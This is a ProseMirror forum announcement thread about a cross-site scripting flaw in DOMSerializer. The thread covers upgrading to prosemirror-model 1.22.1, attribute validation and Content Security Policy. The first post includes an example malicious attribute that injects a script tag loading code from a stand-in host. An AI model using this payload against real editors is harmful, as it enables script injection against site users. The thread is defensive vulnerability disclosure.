# Heads-up: XSS risk in DOMSerializer

**URL:** <https://discuss.prosemirror.net/t/heads-up-xss-risk-in-domserializer/6572>\
**Category:** Announce\
**Created:** [July 14, 2024, 5:09pm UTC](https://discuss.prosemirror.net/t/heads-up-xss-risk-in-domserializer/6572 "2024-07-14T17:09:52Z")\
**Posts on this page:** 6\
**Page:** 1

<div class="post-metadata">

**Author:** ![marijn](https://discuss.prosemirror.net/user_avatar/discuss.prosemirror.net/marijn/32/15_2.png) [@marijn](https://discuss.prosemirror.net/u/marijn)\
**Post date:** [July 14, 2024, 5:09pm UTC](https://discuss.prosemirror.net/t/heads-up-xss-risk-in-domserializer/6572/1 "2024-07-14T17:09:52Z")

</div>

This is a warning that a viable cross-site scripting vulnerability has been brought to my attention that some uses of ProseMirror are affected by.

Specifically, if you:

- Have a node or mark serializer function (`toDOM` spec or a function passed to `DOMSerializer`) that puts a value from an attribute directly in an array used to describe a DOM structure (for example `node => ["span", node.attrs.label]`)

- **and** don’t fully sanitize these attributes when they are read from JSON (or another source)

- **then** it may be possible for a malicious actor so inject an attribute like `attrs: {label: ["script", {src: "//dodgy.com/script.js"}]}` or a similar structure into your document via a tampered API request, and trick `DOMSerializer` into emitting arbitrary HTML tags, which, when rendered, might inject code into your webpages.

I recommend you upgrade to prosemirror-model 1.22.1 at your earliest convenience. Firstly, this version supports a new attribute configuration field [`validate`](https://prosemirror.net/docs/ref/#model.AttributeSpec.validate), which it is recommended to define for all your attributes, that allows you validate that they are of the shape they should be.

In addition, that version contains ad-hoc code that checks for this precise situation, and will refuse to render DOM output spec arrays that originate in a node or mark’s attributes.

Be safe!

---

<div class="post-metadata">

**Author:** ![thaidn](https://discuss.prosemirror.net/user_avatar/discuss.prosemirror.net/thaidn/32/4171_2.png) [@thaidn](https://discuss.prosemirror.net/u/thaidn)\
**Post date:** [July 16, 2024, 6:57pm UTC](https://discuss.prosemirror.net/t/heads-up-xss-risk-in-domserializer/6572/2 "2024-07-16T18:57:25Z")

</div>

Hi! This is Thai from Calif. We found this vulnerability.

We’ve published a blog post with more details: [Type confusion attacks in ProseMirror editors - by Khanh](https://blog.calif.io/p/type-confusion-attacks-in-prosemirror).

marinj: Thanks for a quick turnover over the weekend!

---

<div class="post-metadata">

**Author:** ![frederik](https://discuss.prosemirror.net/user_avatar/discuss.prosemirror.net/frederik/32/36_2.png) [@frederik](https://discuss.prosemirror.net/u/frederik)\
**Post date:** [July 18, 2024, 7:21am UTC](https://discuss.prosemirror.net/t/heads-up-xss-risk-in-domserializer/6572/3 "2024-07-18T07:21:20Z")

</div>

Good work @thaidn! (@marijn as always).

I feel it’s also fair to point out that we should all be consistently set the script-src, … Content Security Policy (for anyone coming here to learn about the vulnerability)

---

<div class="post-metadata">

**Author:** ![Abc](https://discuss.prosemirror.net/letter_avatar_proxy/v4/letter/a/2bfe46/32.png) [@Abc](https://discuss.prosemirror.net/u/Abc)\
**Post date:** [July 23, 2024, 5:41am UTC](https://discuss.prosemirror.net/t/heads-up-xss-risk-in-domserializer/6572/4 "2024-07-23T05:41:55Z")

</div>

@marijn Thanks for the heads up and for the quick fix. @thaidn thanks for the guide on how this can be exploited.

Since this may impact other consumers of ProseMirror, should there be a CVE for ProseMirror? Consumers that use dependency vulnerability trackers will be notified of the _Outline_ fix, but not necessarily of the new _ProseMirror_ functionality and associated recommendations.

Specifically, I think this part is brilliant:

> [@marijn](#):
>
> In addition, that version contains ad-hoc code that checks for this precise situation, and will refuse to render DOM output spec arrays that originate in a node or mark’s attributes.

And wondering how to make sure all know to pull in the latest. Thank you!

---

<div class="post-metadata">

**Author:** ![bdbch](https://discuss.prosemirror.net/user_avatar/discuss.prosemirror.net/bdbch/32/4736_2.png) [@bdbch](https://discuss.prosemirror.net/u/bdbch)\
**Post date:** [July 24, 2024, 4:52am UTC](https://discuss.prosemirror.net/t/heads-up-xss-risk-in-domserializer/6572/5 "2024-07-24T04:52:08Z")

</div>

Thanks @marijn - great find!

We’ll upgrade our packages ASAP and release new versions of our packages.

---

<div class="post-metadata">

**Author:** ![thaidn](https://discuss.prosemirror.net/user_avatar/discuss.prosemirror.net/thaidn/32/4171_2.png) [@thaidn](https://discuss.prosemirror.net/u/thaidn)\
**Post date:** [July 24, 2024, 2:09pm UTC](https://discuss.prosemirror.net/t/heads-up-xss-risk-in-domserializer/6572/6 "2024-07-24T14:09:24Z")

</div>

Thanks @bdbch. We confirmed that this attack vector also affected TipTap.
